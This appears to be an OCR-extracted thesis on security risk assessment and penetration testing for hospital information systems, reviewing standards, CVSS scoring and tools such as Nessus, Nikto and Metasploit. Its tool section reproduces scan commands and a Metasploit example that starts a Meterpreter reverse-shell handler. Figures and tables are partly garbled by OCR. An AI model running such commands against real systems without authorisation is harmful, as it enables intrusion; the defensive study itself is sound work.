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ABSTRACT

The purpose of this study is to propose a security risk analysis process for
an IT security system at a hospital. The thesis uses computer security tools to support
risk evaluation process. These tools were developed based on the study of standard
and best practices of security risk assessment programs used in information system.
Moreover, the security assessment was performed using a penetration testing
technique that included key processes such as Risk Assessment and Vulnerability
Verification along with others factors for supporting this researcher’s risk analyzing
process and computer security tool development.

The process of risk assessment proposed in this thesis was divided into 4
steps: (1) Planning, (2) Analyzing, (3) Developing, and (4) Utilizing. Results from the
experiment showed by inputting the outcome from the vulnerability scan and adjusting
the scale of business impact of sample hospitals, the tool was able to assess and rate
the security risk which reflected the environment of the hospital’s information system.
Moreover, this tool was able to simulate some examples of exploitation in order to

explore and show system flaws and then generate a report to be used as a reference.
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CHAPTER |
INTRODUCTION

1.1 Background and Significance of the Problem
Whether the threats are external or internal, IT Security Threats involving
medical information have become a serious modern issue. Of particular interest are
the IT threats that cause system, device, hardware or software errors with viruses or
professional hackers (Vulnerability). In the medical field, these errors dangerously
affect not only patients’ lives, but also the quality of services, diagnostic accuracy,
patient confidentiality (Privacy) and negative impact on hospital service image as well
as the main goals of HA quality assurance processes (Hospital Accreditation) [4].
These goals are as follows: 1) service quality development; 2) appropriate resource
management; 3) risk management; 4) good governance and 5) patient rights, etc. A
good information technology governance (IT Governance) framework can improve the
quality of information technology or HITQIF (Hospital IT Quality Improvement
Framework) [5]. Furthermore, the guidelines for the HA standards and international
IT standards include SPA (Standards Practice Assessment), JCI (Join Commission
International), CoBIT (Control Objectives for Information and Related Technology),
ITIL (Information Technology Infrastructure Library) and ISO/IEC 27002, etc. The
above frameworks are related to IT Risk Management and Security Assessment.
Therefore, assessing the security of information technology (Security
Assessment) is important for hospitals. However, hospitals’ shortage of specialists,
best practices and supporting tools, has prompted this research aimed at studying the
process of Security Assessment. Moreover, best practice also develops support tools
and models for Security Assessment and experimental approaches applied to hospitals
as case studies in support of decision-making on the improvement of hospital

information security systems.
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1.2 Research Objectives

1) To conduct a comparative study of guidelines (framework) or system
penetration testing standards and risk assessment for information technology to define
the guidelines for hospital security assessment.

2) To analyze and select the most important steps in developing a model or
function to support hospital security assessment.

3 To develop tools supporting hospital security assessment and

experiments with a case study.

1.3 Scope of Work

1) Completion of a comparative study of guidelines (framework) for
Information Risk Assessment Standards such as ISMS (Information Security
Management System), NIST SP 800-30 (Risk Assessment Methodology Process),
HIPPA Risk Assessment Process and OWASP (Risk Rating Methodology).

2) Completion of a comparative study on guidelines (framework) of
System Security Testing Standards such as NIST SP800-115 (Technical Guide to
Information Security Testing and Assessment), ISSAF (Information Systems Security
Assessment Framework), OWASP (Web Application Penetration Testing), PTES
(Penetration Testing Execution Standard) and SANS (Penetration Testing
Methodology).

3) Analysis and selection of the most important step toward developing a
model or function to support Information Security Assessment.

4) Development of supporting tools as a prototype for Information
Security Assessment.

5) Experimentation with the prototyping tool to report the results of the
Risk Assessment of Information Security Assessment to the hospital as a case study.
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1.4 Results
1) Security Assessment Process.
2) Security and Risk Assessment Tool Prototyping.
3) Results of Information Risk Assessment for hospitals as a case study to

support the decision of the Director of the hospital’s Information Security

Administrator.
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CHAPTER Il
LITERATURE REVIEW

This objectives of this research were to study the conceptual framework in
Penetration Testing and IT Security Risk Assessment in technical terms for
information systems at hospitals in Thailand. And this chapter addresses the
advantages of the adapted research information for implementation. The study is
divided into five sub-topics: 1) Health information technology; 2) Health information
security; 3) Security risk assessment; 4) Penetration testing and 5) Vulnerability

scoring system.

2.1 Health Information Technology

2.1.1 A compilation of Social Security Laws [1] describes “health
information” as information related to histories of health care, diagnosis, treatment and
any person’s insurance payments for health services.

2.1.2 The HITECH Act (Health Information Technology for Economic
and Clinical Health) Act [2] describes “health information technology” as hardware,
software, integrated technologies, licenses, intellectual property, patches, packaged
solutions, maintenance, access or exchange of health care information. The HIT
includes systems such as electronic health records (EHRS), personal health records
(PHRs), e-prescribing, health information exchange (HIE), analytics and decision
support, patient support tools, and mobile health technologies, etc.

2.1.3 Electronic medical records (EMRs) [3] are digital files containing the
medical records of healthcare organizations on the healthcare, diagnosis and treatment

history of the patients in one practice.
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2.1.4 An electronic health record (EHRS) [4, 5] is a secure, real-time, point
-of-care, patient-centric information resource for clinicians. The EHR also supports the
collection of data for uses other than clinical care such as billing, quality management
and reporting.

2.1.5 The conceptual framework of Interoperable Electronic Health Record
and E-Prescribing Systems Version 1.0 [6] describes “electronic health records” as a
repository of maintained health care information providing services to the multiple
users of records. And EHR should include information such as observations,
laboratory results, x-rays, treatments, drugs, patient identification information and

allergies as shown in Figure 2.1.

EMPI

CPOE
« LIS / \ « ERP
*RIS Workflow *Billing Sys
*PACS *HR Sys
»Transcription *Insurance Sys
*MIS

*Department Sys

*Document Sys *Ete

*Imaging Sys

EHR EMR Environment EHR
<:> Web portal <:>

Figure 2.1 EHR Environments [6]

Interface Engine
Documentation
Pharmacy
Interface Engine

2.1.6 HIPAA Security and Privacy Rules [7] describes “protected health
information” (PHI) as protected privacy health care information. The PHI should
include information such as personal history, healthcare history, insurance history and

other unique identification.
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Health information

individual s
health information

Figure 2.2 Health Information Relations

This research focuses on health information and critical health information
systems, hospital information systems (HIS), laboratory information systems (LIS),
radiology information systems (RIS), picture archiving and communication systems
(PACS).

2.2 Health Information Security

2.2.1 Health Information Security Management Standards (ISO 27799)
describe health information security goals [8] as control information confidentiality,
availability and integrity. This paper should include authenticity, accountability and

audit ability as shown in Figure 2.3.

Conﬁ ntiality

Health
information
security

Figure 2.3 Health Information Security Goals
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2.2.2 Hospital IT Quality Improvement Framework (HITQIF) [9, 10] using
and Integration Standard of COBIT (Control Objectives for Information and related
Technology), ITIL (Information Technology Infrastructure Library), ISO/IEC 27002
(Information Security Standard), SPA (Standard Practice Assessment), and JCI (Joint

Commission International) describe the definitions related to information security [4]

as follows:

-KPI1
-Monitor
-Audit

-Inform Information
-Meaningful use of
Information
-Up to Date

-General Control
-Application Control
-IT Risk Management

-IT Master Plan

-IT Policy
-Structure and Roles
-Regulation

-SDLC

Structure &
Role

-Data Center
-Consider Technology
-Security Technology

-Human resources
-Training

Processes

-Support Systems
-Services Systems
-Security Management

Figure 2.4 HITQIF Framework

1. Security Management is a process to ensure that systems

protect all abuse or authorization such as physical security management, asset

management, network and security management, etc.

2. IT risk management includes information technology risk

management processes such as IT project failure, waste investment, security breaches,

system crashes, etc.
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2.2.3 ICT Readiness

Literature Review / 8

Assessment Model for Small and Medium

Organizations in Thailand Public and Private Sectors: This paper presents an ICT

readiness assessment model specifically designed to measure the readiness of ICT

utilization and penetration levels [11] in small and medium-sized organizations in

developing countries.

Software & Systems

* Support Information Sys
* Information Sys

« Software & Services

+ Software Security & Doc

Human Resource

* Organization knowledge
* Manage of investment in
people

+ Staff education

* Human Manage Policy

Hardware
* Server (public / private)
* Devices
ICT
Assessment
Infrastructure

* Network Security

* Network Sys & Physical
* Physical Structure

* Physical Manage Policy

Figure 2.5 ICT Readiness Assessment Models

2.2.4 Risk Management for IT Disruptions in Health Care Settings: A

Continuity of the Operations Planning Process [12] describes critical systems for

business continuity by dividing into the following two types: 1) Common system

communication and 2) Healthcare-specific functions as shown in Table 2.1.

Table 2.1 Critical Systems to business continuity

Type

Critical systems

I.Common system
communication

Intranet and Internet

2. Healthcare-specific
functions

Electronic Medical Records (EMR) system,
Laboratory information system (LIS),
Radiology information system (RIS),
Picture archiving and communication
system (PACS)
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2.3 Security Risk Assessment

Security risk assessment is risk level evaluation process divided into the
following four levels: critical, high, medium and low. The guidelines commonly used
for the security risk assessment studies include the following: 1) Information Security
Management System (ISMS); 2) National Institute of Standards and Technology
(NIST): SP 800-30 Risk Management Guide for Information Technology Systems; 3)
Open Web Application Security Project (OWASP): Risk Rating Methodology and 4)
Health Insurance Portability and Accountability Act (HIPAA): Risk Assessment
Processes.

2.3.1 For risk analysis and security management of IT information in
hospitals [13], [14], this paper proposes techniques for applying the risk assessment
framework of the information systems of hospitals in Thailand by using the framework
proposed by the research. The hospital's IT administrators can manually collect and
evaluate any IT system vulnerability and risks by themselves. The risk assessment
framework consists of the following six steps: 1) information gathering; 2) current
capacity to control vulnerability; 3) number of threat occurrences from the past; 4)
evaluation of threat likelihood; 5) threat impact assessment and 6) risk evaluation and
determination. This paper describes the method of attacks by dividing the
aforementioned into the following ten types: 1) Code execution; 2) Buffer overflows;
3) Elevation of privilege; 4) Denial of service; 5) Man in the middle; 6) Cross site
scripting; 7) Brute force; 8) Authentication bypass; 9) SQL Injection and 10)
Information gathering as shown in Table 2.2.
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Table 2.2 Method of Attack

Method of Attack

Literature Review / 10

Descriptions

Code Execution

The attacker can send malicious commands through operating
system’s vilnerability .so an attacker can tack control the
server, including install, view or edit the information and create
an account on the server.

Buffer overflows

The inputs or greater than the extent to which the program is
backed up. As a result, the Server or system can be stopped.

Elevation of Privilege

Edit their information in order to obtain equivalent
administrator right. As a result, an attacker can access the data
within the system.

Denial of service (DoS)

To prevent or disrupt a system, the Server or sysiem can be
stopped.

Man in the nuddle

Eavesdrop or intercept information the conversation of sender
and receiver.

Cross site scripting (X55)

Bury seript in web browser for intercept target’s information

Brute force

Decrypt passwornd for access to server or sysiem.

Authentication bypass

Pass the system’s vulnerability without having to go through
identity verification.

SOL Injection

SOL Query String aftack in showing needs information.

Information Gathering

Gather the required system information.

2.3.2

Information Security Management System (ISMS) proposes

approaching risk assessment process by dividing into the following nine steps [15]: 1)

Identify major assets; 2) Assess asset value in terms; 3) Identify threats; 4) Identify

vulnerabilities; 5) Identify measures of risk; 6) Security requirements; 7) Security

controls; 8) Minimize risks and 9) Risk acceptance as shown in Figure 2.6.

At

At

\

Identify major Assess asset Identify
assets value in terms threats
hY
Security mégseﬂﬁ:e?of Identify
Requirements Tl vulnerabilities

Security
Controls

~

|-

~

Reduce Risks J -

Risk
Acceptance

Figure 2.6 ISMS: Risk Assessment Process
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2.3.3 National Institute of Standards and Technology (NIST) proposes
approaching the risk assessment process in the SP800-30 document by dividing into
the following nine steps [16]: 1) System characterization; 2) Threat identification; 3)
Vulnerability identification; 4) Control analysis; 5) Likelihood determination; 6)
Impact analysis; 7) Risk determination; 8) Control recommendations and 9) Results

documentation as shown in Figure 2.7.

s ~ B . B

System Threat Vulnerability
characterization identification identification
e’
Y Y .
c Likelihood Control
Impact analysis determination analysis
Y Y Y
Risk Control Results
determination recommendations documentation

v

Figure 2.7 NIST SP 800-30: Risk Assessment Methodology Process

2.3.4 Open Web Application Security Project (OWASP) Testing Guide
proposed approaching the risk rating process by dividing into the following six steps
[17]: 1) Identifying risks; 2) Estimating likelihood; 3) Estimating impact; 4)
Determining risk severity; 5) Deciding what to fix and 6) Customizing your risk rating

model as shown in Figure 2.8.

—_—

Estimating

Identifying Risk Likelihood

Estimating Impact

- N -
Customizing Your Deciding Determining
Risk Rating Model What to Fix Severity of Risk

Figure 2.8 OWASP: Risk Rating Methodology
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2.3.5 The Health Insurance Portability and Accountability Act (HIPAA)
Security Management Process proposed approaching the risk assessment process by
dividing into the following seven steps [18]: 1) Determining system characterization;
2) Stating the system mission; 3) Identifying any vulnerability or weakness in security
procedures or safeguards; 4) Identifying impact; 5) Recommending security controls;

6) Determining residual risks and 7) Documenting all output as shown in Figure 2.9.

Y Y Y
Determine .
system System mission \:Sﬁ?etgybﬁr:ty
characterization y
’)
Y . ] " Y
Determine Res%((J:T:?tilnd Identify
residual risk s e impact
)
.
Document all
outputs
———

Figure 2.9 HIPPA Risk Assessment Processes
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2.4 Penetration testing

Penetration testing is a method of security assessment for security
vulnerability attack testing and assessment. Penetration testing is divided into the
following two types [19]: 1) External testing and 2) Internal testing as shown in Table
2.3.

Table 2.3 Type of Penetration test
Type Details

focused on the servers, infrastructure, and the
1. External testing underlying software to the target divided 2 methods
as 1) Black box and 2) White box

considered to be a more versatile view of the security
and performed from several network access points,
2. Infernal festing including both logical and physical segments divide 5
methods as 1) Black box | 2) Gay box, 3) White box,
4) Announced test and 5) Unannounced test

Table 2.3 Type of Penetration test (Cont.)
Methods Details

without having any prior knowledge the target. To

1 _Black bo
" * simulate real-world attacks and minimize false positives

limited knowledge about infrastructure, a defense
2 Gay box mechanism, and communication channels of the target
on which test is to be conducted.

full knowledge of infrastructure, a defense mechanism,
3 White box and communication channels of the target on which test
i% being conducted.

An atfempl to Zain ACCESS OF COMPrOMIse sysiems on
4 Announced 1est the client network with the full cooperation and
knowledge of the IT staff.

An aitempl 0 Zain access of COMpPromise systems
5 Unannounced test on network with the awareness of only the upper
levels of management.

The study guidelines commonly used for security assessment include the
following: 1) National Institute of Standards and Technology (NIST): SP800-115; 2)
Information Systems Security Assessment Framework (ISSAF) draft 0.2.1B; 3) Open
Web Application Security Project (OWASP): OWASP Testing Framework; 4)
Penetration Testing Execution Standard (PTES) and 5) Sys-Admin Audit Networking
and Security (SANS).
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2.4.1 The National Institute of Standards and Technology (NIST) [20]
proposed approaching the penetration testing process by dividing into the following
four steps: 1) Planning; 2) Discovery; 3) Attack and 4) Report as shown in Figure
2.10.

) \‘k“‘-,\\ \\‘k“‘\\‘ \\k‘\‘*u_‘\ ‘\&\‘\‘
1.Planning 2.Discovery 3.Attack 4.Report
« Determine the rule « Scan port * Gaining Access * Reported all
« Determine scope * Collecting « Escalating Privileges information, include
includes the information . System Browsing the Ident!f_ylng_
objective of the test. | | « Scanning « Install Botnet vulnerability, risk
vulnerabilit nstall Botne! assessment, and
Y suggestions enclose
those vulnerabilities.
///”” //—"/ /_,/”' //”
— e P o
///” ///” (//,,-—” ///”

Figure 2.10 Phases Penetration Testing Methodology

2.4.2 The Open Information Systems Security Group (OISSG) [21]
proposed approaching the security assessment process by dividing into the following
three steps: 1) Planning and Preparation; 2) Assessment and 3) Report, Clean up and

Destroy Artifacts as shown in Figure 2.11

.

1.Planning & Preparation

« Contract signing between
both sides

* Specific teamwork

* Plan date and time of test

* Scope of work

* Approach and method of
testing

2.Assessment

« Information Gathering

* Network Mapping

* Vulnerability Identification

* Penetration

* Gaining Access & Privilege
Escalation

» Enumerating Further

» Compromise Remote
Users/Sites

* Maintaining Access

* Covering Tracks -

3.Reporting, Clean up &
Destroy and artifacts

* Reporting every phase in
the testing , including
report, scope of work,
tools, date&time, report of
identifying vulnerability&
improve methods, list of
Action Points

* Delete all information that
was created or storage in an
information system while
testing

Figure 2.11 Approach & Methodology
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2.4.3 The Open Web Application Security Project (OWASP) [17]

proposed approaching the web application penetration process by dividing the

following two modes: 1) Passive mode and 2) Active mode as shown in Figure 2.12.

1.Passive mode

« information
gathering e.g.,
HTTP headers,
parameters, and
cookies

2.Active mode

« Configuration Management Test
* Business Logic Test

« Authentication Test

« Authorization Test

+ Session Management Test

+ Data Validation Test

« Denial of Service Test

» Web Services Test ]
- Ajax Test. e

"

Figure 2.12 OWASP Testing Framework

2.4.4 The Penetration Testing Execution Standard (PTES) [22] proposed

approaching the penetration test process by dividing into the following five steps: 1)

Intelligence Gathering; 2) Vulnerability Analysis; 3) Exploitation; 4) Post Exploitation

and 5) Reporting as shown in Figure 2.13.

1.Intelligence
Gathering

« Gathering
Information

« Reconnaissance

2.Vulnerability
Analysis

« Discovering flaws
in systems

* These flaws can
range anywhere
from host and
service mis-
configuration, or
insecure application
design.

.

.
~

g

S
3.Exploitation

« Access to a system
or resource by
bypassing security
restrictions

« |dentify the main
entry point into the
organization and to
identify high value
target assets

4.Post Exploitation

« Determine the value
of the machine
compromised and to
maintain control

« ldentify sensitive
data, configuration
settings, network ,
and devices that can
be used to gain
further access to
network.

« Setup methods of
accessing the
machine at a later
time

Figure 2.13 PTES Penetration test process

5.Reporting

« Define the base
criteria for
penetration testing
reporting
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2.4.5 Sys-Admin Audit Networking and Security (SANS) [23] proposed
approaching the penetration test process by dividing in to the following six steps: 1)
Planning and Preparation; 2) Information Gathering and Analysis; 3) Vulnerability
Detection; 4) Penetration Attempt; 5) Analysis and Reporting and 6) Cleaning Up as

shown in Figure 2.14

Figure 2.14 SANS Penetration test Process

e ~ ~ Y ~.
\\\\ \‘\\ \\\\ h \\\ \\\ \
\_\\ \ \\ \\\\ \.‘_\\
Bt i . g ™~
1.Planning& 2.Information 3.Vulnerability 4.Penetration 5.Reporting 6.Cleaning Up
Preparation gatf;er_ing& Detection Attempt « Report « clear any mess
« kick off UabEl « determine the « identify suitable overview of the that has been
meeting * gather as much vulnerability targets for a penetration made as a result
- scope and information as that exists in penetration testing process of The
objective of the possible about each system attempt - analysis and penetration test
penetration test the targeted « collection of « Estimations commentary on
systems or exploits and time of critical
networks vulnerabilities penetration test vulnerabilities
takes on a that exist in the
particular network or
system are systems
important at
this point
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2.5. Vulnerability Scoring System

This topic discusses the Common Vulnerability Scoring System (CVSS)
and Tools supporting CVSS standards.

2.5.1 The Common Vulnerability Scoring System (CVSS) [24] is a
vulnerability scoring system designed to provide a standard method for rating IT
vulnerabilities. A CVSS base score can help prioritize security vulnerabilities. The
CVSS v2 base score has been adopted as the primary method for quantifying the
severity of recognized vulnerabilities including the following:

e The Open Source Vulnerability Database (OSVDB) [25] is an
independent and open-source database created by and for the community. The paper
provides accurate, detailed, current and unbiased technical information on security
vulnerabilities.

e The Common Vulnerabilities and Exposures (CVE) [26] is a list of
information security vulnerabilities and exposures aimed at providing common names

for publicly known problems.

2.5.2 A Complete Guide to the Common Vulnerability Scoring System
Version 2.0 [27] describes the CVSS base group as a means of defining and
communicating the fundamental characteristics of vulnerability. The CVSS base
metrics are assigned values in which the base equation calculates a score ranging from
0 to 10, and creates the following vector:
“CVSS2#AV:[L,ANJ/AC:[HM,L]/Au:[M,S,N]/C:[N,P,C])/ L.[N,P,C]/ A:[N,P,C]” as

shown in Figure 2.15.
F(Av[L, A, N],AC[H, M, L], Au[M, 5, N], CIN, P,C], I[N, P,C], AN, P, C])

& Confidentiality Impaet(C) b--—-—---F1-------F -

= -

2 Integrity Impact(I) I F0 ¥z e ) F(z1,23 o 2) \ 10

= Availability Impact(A) || ! .

§ 4 [ AccessVector(AV) ]I . . :
h Y h Y

a Access Complexity(AC) : lll Temporal l [[[ Environmental ] || Score  Vector

@ i Meirics 1

> Authentication{Au) | Optional ] Pas

U I o ML Ay IVIGATLITWAJET A -

Figure 2.15 CVSS Base Metrics [27]
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The base equation is the foundation of CVSS scoring v2 [27]. The base

equation as shown below.

BaseScore=round_to_1_decimal(((0.6*Impact)+(0.4*Exploitability)-1.5)*f(Impact)) @
Impact = 10.41*(1-(1-Conflmpact)*(1-IntegImpact)*(1-AvailImpact)) 2
Exploitability = 20* Access Vector*Access Complexity*Authentication 3
f(impact)= 0 if Impact=0, 1.176 otherwise

BaseVector: AV:[L,AN] / AC:[H,M,L]/ Au:[M,S,N]/ :[N,P,CJ/I:[N,P,CJ/A:IN,P,C]

Table 2.4 CVSS Case of Base Metric

Base Meiric Case of Metric Value
AccessVector L: requires local access 0.395
A: adjacent network accessible 0646

N: network accessible 1.000

AccessComplexity H: high 0.350
M: medium 0610

L: low 0.710

Authentication M: requires multiple instances of authentication 0.450
5! requires single instance of authentication 0.560

N: requires no authentication 0.704

ConfidentialityImpact N: none 0000
Integritylmpact P: partial 0.275
Availabilitylmpact C: complete 0660
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2.5.3 The Information Assurance Tools Report — Vulnerability
Assessment, Sixth Edition [28] describes vulnerability assessment tools by dividing
into the following seven types: 1) Network Scanners; 2) Host Scanners; 3) Database
Scanners; 4) Web Application Scanners; 5) Multilevel Scanners; 6) Automated

Penetration Test Tools and 7) Vulnerability Scan Consolidators as shown in Table 2.5.

Table 2.5 Vulnerability Assessment Tools Characteristic

Type Tool Target License Standards
Metwork, (05, Web App/Services, SCAP, DVAL,
cEye Retina Commercial
DB CVE, CVSs
Metwork Commercial/Free
GFI LANguard UNIX, Windows OWAL, CVE
Scanner ware
Safety-Lab Shadow Sccunity Metwaork host running, UNIX,
Commercial NA
Scanner Linux, Solaris, Windows
Assuna Auditor / Auditor RA Sharcwane CVE, CV55
Windows, UNIX, Linux
Host Scanner NileSOFT Secuguard SS5E Commercial CYE
Proland Protector Plus NA Freeware NA
Imperva Scuba Oracle, DB2, S()L Server, Sybase Freeware
Oracle, DB2, S{)L Server,
DB Scanner Safety-Lab Shadow NA
Sybase, MyS0L, 5AF DB, Lotus Commercial
DBAPPSecurity MatnXay Oracle, DB2, SQ)L Server, Access
Web Acunetix
NA Commercial
Application Bump Suite MNA
Scanner Mikto HTTPfHTTPS, Web Server Open Source
Open VAS Network, Web App (Open Source MNA
Symantec Risk Automation Network devices, host Oss, DB, SCAP, OVAL,
Commercial
Multi Scanner suite network app CVE, CV55
Metwork, Windows, Unix, Linux, | Commercial/Free
Messus CVECVES
S0L DB, Web server ware
Automated Arachm Web app Open Source NA
Penetration CANVAS All common platform and app Commercial
Test Tools Metasploit Web app, Network, DB Server CWVE
Vulnerability Prolific Solutions pro Vi NA Commercial NA
Scan Anditor
Consolidators ARG SCAP, OVAL,
CWVE, CVSs
Skybox Risk Control Systems, devices CWE
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2.54 AN OVERVIEW OF PENETRATION TESTING [29] describes

penetration tools as shown in Table 2.6 -2.7.

Tool Specific Purpose License Portability
- . Linux, Windows, FreeBSD, OpenBSD, Solaris,|
k
Nmap | POt ScAnning: free | IRIX, Mac OS X, HP-UX, NetBSD, Sun OS,
05 detection .
Amiga
Hiin port scanning | remote OS5 free Linux, FreeBSD, NetBSD, OpenBSD, Solaris,
ping fingerprinting Mac 05 X, Windows
+ detect open TCP/UDP ports
) - A . .
SuperScan N SCTVIOES ARG TR free Windows 2000/XP/Vista/
+ run queries like whois, ping,
and hostname lookups
te active OS5, fi infin
Xprobe2 iy w»:.a _S' IngeTprt B " free Linux
TCP fingerprinting, port scanning
. : Linux, FreeBSD, NetB5SD, OpenBSD, Mac 08
05 fi firewall detect free ’ ’ ’
rf ingerprint. . X, Solaris, AIX, Windows
Hitorint web server fingerprint, detect web free Linux, Mac O5 X, FreeB5D, Win32
tprt enabled devices, SSL detection (command line and GUI)
detect vulnerabilities , detect hF. Mac 05 X, Linux, FreeBSD,
N . free trial . .
Messus misconfiguration, defanlt wion Oracle Solaris, Windows,
password, and denial of service Apple
Shado
5 .w detect network vulnerabilities, free trial Windows but scan servers
v audit proxy and LDAP servers Version built on any platform
Seanner proxy ¥ P
Windows 2000 Professional
e free trial with SP4, Windows Server
Iss Scanner + detect network vulnerabilities y A 2003 Standard with SO,
XP Professional with SPla
Windows Server 20032008, 2000
GFI « detect network vulnerabilities free trial Professional, 7 Ultimate/ Vista Business/XP
LANguard Version Professional/Small Business Sever
2000/2003/2008
Brutus + Telnet, fip. and hitp password free Windows 9x/NT/2000
cracker
+ develop and execute exploit
Metasploit code against a remole target free All versions of Unix and
Framework + test vulnerability of computer Windows
syslems
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Table 2.7 Web Penetration Testing Tools
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Tool Specific Purpose License Portability
Linux, Microsof
Windows, FreeBSD,
Nmap Find web server Free OpenBSD, Solaris, IRIX,
Mac OS5 X, HP-UX,
MNetBSD, Sun (S, Amiga
Windows XP /2K3/
) . Vista / 2KEB / Win7 / Wing
Fiddler A web debugging proxy Free Microsoft NET
Frameworkv2.Oor later
Identifies web server type, version,
add-on and other interesting files, Windows. Mac SX
performs quick analysis of web server L'nu‘r;ndnlinix ’
1
and applicati d s back
Nikto applications and repo Open source (including RedHat,
common server and sofiware Solaris. Debian
misconfigurations, default files and 5 ix, etc) ’
programs, insecure files and programs Kaoppix,
and outdated servers and programs
Interceptor, identifies new URLs on All platforms that
WebScarab the test target, session [D analyzer, Free support Java in any
parameter fuzzer version not older than 1.4
Linux, Windows XP,
Vulnerability tester, interceptor, Windows Vista, Open
Jaf
e fuzzer Open source B3D and any platforms
that support Python
Finthx Inline editing, for breaking forms,
' , messing with JavaScript, making Any platforms that
Extension — s . . Free .
Firebug rougue sites and man-in-the-middle supports Firefox
components
Firefi
E.xt;:;i?:: _ Record and playback clicks during Free Any platforms that
TesiGendWeb surfing support Firefox 1.5 beta
Cenzic » 1-week trial Windows 7 Pro or XP
. Web vulnerability scanner Professional with Service
Hailstorm free
Pack 3
Identify, validate and exploit
vulnerabilities, test web application Windows 7, Windows
for X85, Reflective X85, SQL . Vista, Windows Server
Corel t Commercial
ore impac Injection, Blind SQL Injection, e 2008 SP2, Windows
Remote File Inclusion for PHP Server 2003 5P2
application
Detect vulnerabilities that allow Free for
remote cracker to control or access personal Mac 05 X, Linux,
Messus 4 sensitive data, misconfiguration, edition FreeBSD, Oracle Solaris,
default password, and denial of ponenterprise Windows, Apple
service edition
Develop and execute exploit code
Metasploit | e R A e e =1 All versions of Unix and
Framework & g ’ Windows

vulnerability of computer systems
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This research used the Nessus and Nikto vulnerability scanners that
support CVSS standards and free licensing to vulnerability result assessment in

hospitals including the use of Metasploit to exploit sample testing for vulnerabilities.

1. Nessus [30] is a vulnerability scanner tool that performs vulnerability
scanning, analysis, compliance checking, asset discovery, configuration auditing and

sensitive data discovery.

-.@ NeSSUS Scans Schedules Policies
Scans
< Scans Basic Settings
Basic Seftings

Mame

Schedule Settings

Policy External Network Scan -
Email Settings

Folder my scans v

Targets

Figure 2.16 Nessus Scan Menu

Schedules Policies surapol ¥

Scans Expot ¥ Auelt Trail v
Scans Hosts Scan Details
Hosts Host Vulnerabilities &

Notes

Figure 2.17 Nessus Scan Results
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2. Nikto[31] is web application vulnerability scanner tool that tests for

dangerous programs, dangerous files, CGI scripts, default files, outdated versions and
software mis-configurations, including injection, XSS, file upload, remote file
retrieval, remote shell, authentication bypass and denial of service, etc.
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e 2 nikto -n
Option host requires an argument
-config+ Use this config file
-Display+ Turn on/off display outputs
-dbcheck check database and other key files for syntax errors
-Format+ save file (-o) format
-Help Extended help information
-host+ target host
-id+ Host authentication to use, format is id:pass or id:pass:realm
-list-plugins List all available plugins
-output+ Write output to this file
-nossl Disables using SSL
-nodf4 Disables 404 checks
-Plugins+ List of plugins to run (default: ALL)
-port+ Port to use (default 80)
-root+ Prepend root value to all reguests, format is /directory
-ssl Force ssl mode on port
-Tuning+ Scan tuning
-timeout+ Timeout for requests (default 10 seconds)
-update Update databases and plugins from CIRT.net
-Version Print plugin and database versions
-vhost+ Virtual host (for Host header)
+ requires a value
Note: This is the short help output. Use -H for full help text.

Figure 2.18 Command Nikto

nikto —host http://localhost/WebGoat/attack OR
nikto —host www.google.com OR
nikto —host 127.0.0.1

Figure 2.19 Command Nikto Scan

+ Target IP: BEEE
+ Target Hostmamier  X00000000(
+ Target Port: 80

+ Start Time: 2014-07-29 23:36:34

+ Server: Apache-Coyotes/l.1

+ Retrieved x-powered-by header: Senvdet 2.4; 1Boss-4.0.2 (build: CWSTag=18oss_d_0_2 date=200505022023W Tomcat-5.5
+ Mo CGI Directaries found (use -C all’ to force chack all possible dirs)

+ ETag header found on server, fields: (eaW/1437 Ol 115040374000

+ Allowed HTTP Methods: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

+ OBVDE-397: HTTF method (‘Allow’ Header)k PUT' method could allow clients to save files on the web server.

+ OSVDB-56a6: HTTF method (‘Allow’ Header): ‘DELETE' may allow clients to remove files on the web server.

+ DSVDE-3092: fstatusfull=true: Apache Tomcat and/or JBoss information page.

+ &448 tems checked: 0 arror(s) and & item(s) reported on remote host

+ End Time: 2014-07-79 F3:3&:56 (22 seconds)

Figure 2.20 Nikto Scan Result
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3. Metasploit [32] is a platform for writing, testing and using exploit
code that performs penetration testing and shell code development. Either the
command line interface (msfcli) is used to exploit in general, or the auxiliary module

is used to exploit vulnerability.

[ | ] * 4 2 e e e e e e =+ € 3 e 34 3 < e 3¢ e 3 e e o e e e e e 4
[']* The utility msfcli is deprecated! *
[r] = It will be removed on or about 2015-06-18 *
[r * Please use msfconsole -r or -x instead *
['] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *
[ ! ] e e e e e e e e e b e e e o e e e e e e e S e e e e e e e e e e e e e e e e e e e o e e e e e e e e e e e e o e e e o o e e e e e e o e e e e o
Usage: fopt/metaspleoit/apps/pro/msf3/msfcli <exploit name= <opticn=value= [mode]

Mode Description

(A)dvanced Show available advanced options for this module

(AC)tions Show available actions for this module

(C)heck Run the check routine of the selected module

(E) xecute Execute the selected module

(Hlelp You're looking at it baby!

(I)DS Evasion Show available ids evasion options for this module

(M)issing Show empty reguired options for this module

(0)ptions Show available options for this module

(P)ayloads Show available payloads for this module

(S)ummary Show information about this module

(T)argets Show available targets for this exploit module
Examples:
msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=IP E
msfcli auxiliary/scanner/http/http_version rhosts=IP encoder= post= nop= E

Figure 2.21 msfcli command
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CHAPTER 11
RESEARCH METHODOLOGY

The purpose of this chapter is to explain the process of security assessment
and prototype tools development to support security assessment for hospital
information technology security with the following four phases as shown in Figure
3.1

Plan t

Study & Synthesis Security Assessment Process J

[ Build/Implement Demo ] [ Test &Feedback ]

Figure 3.1 develop prototype tools process

3.1 Plan Phase

This procedure is concerned with the penetration testing and risk
assessment processes based on the guidelines and standards aimed at finding a suitable
process for security assessment in technical terms. The suitable process includes
security assessment and develop prototype tools to support security assessment by
using the penetration testing method and evaluating vulnerability ratings by using a
risk assessment method in technical terms for security risks, namely, identifying

vulnerabilities in servers that are not patched and exploiting them.
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This process can be divided into the following two parts: 1) Educational
standards and guidelines on penetration testing and risk assessment and 2) Synthesis of

security assessment processes.

3.1.1 Educational Standards for Penetration Testing and Risk
Assessment - This part discusses the educational standards and guidelines involved
with penetration testing. The standards to be used in this application are NIST SP800-
115, ISSAF, SANS, PTES and OWASP. Furthermore, the risk assessment standards
for use in this application are ISMS, NIST SP800-30, OWASP and HIPPA.

3.1.2 Synthesis Security Assessment Process — This process is defined
and classified as a process for finding the key processes of security assessment by
dividing into the following four processes: 1) Planning; 2) Assessment; 3) Verification

and 4) Reporting as shown in Figure 3.2.

| PLANNING { Define Objective ][ Determine Scope & Planning J
| v—l
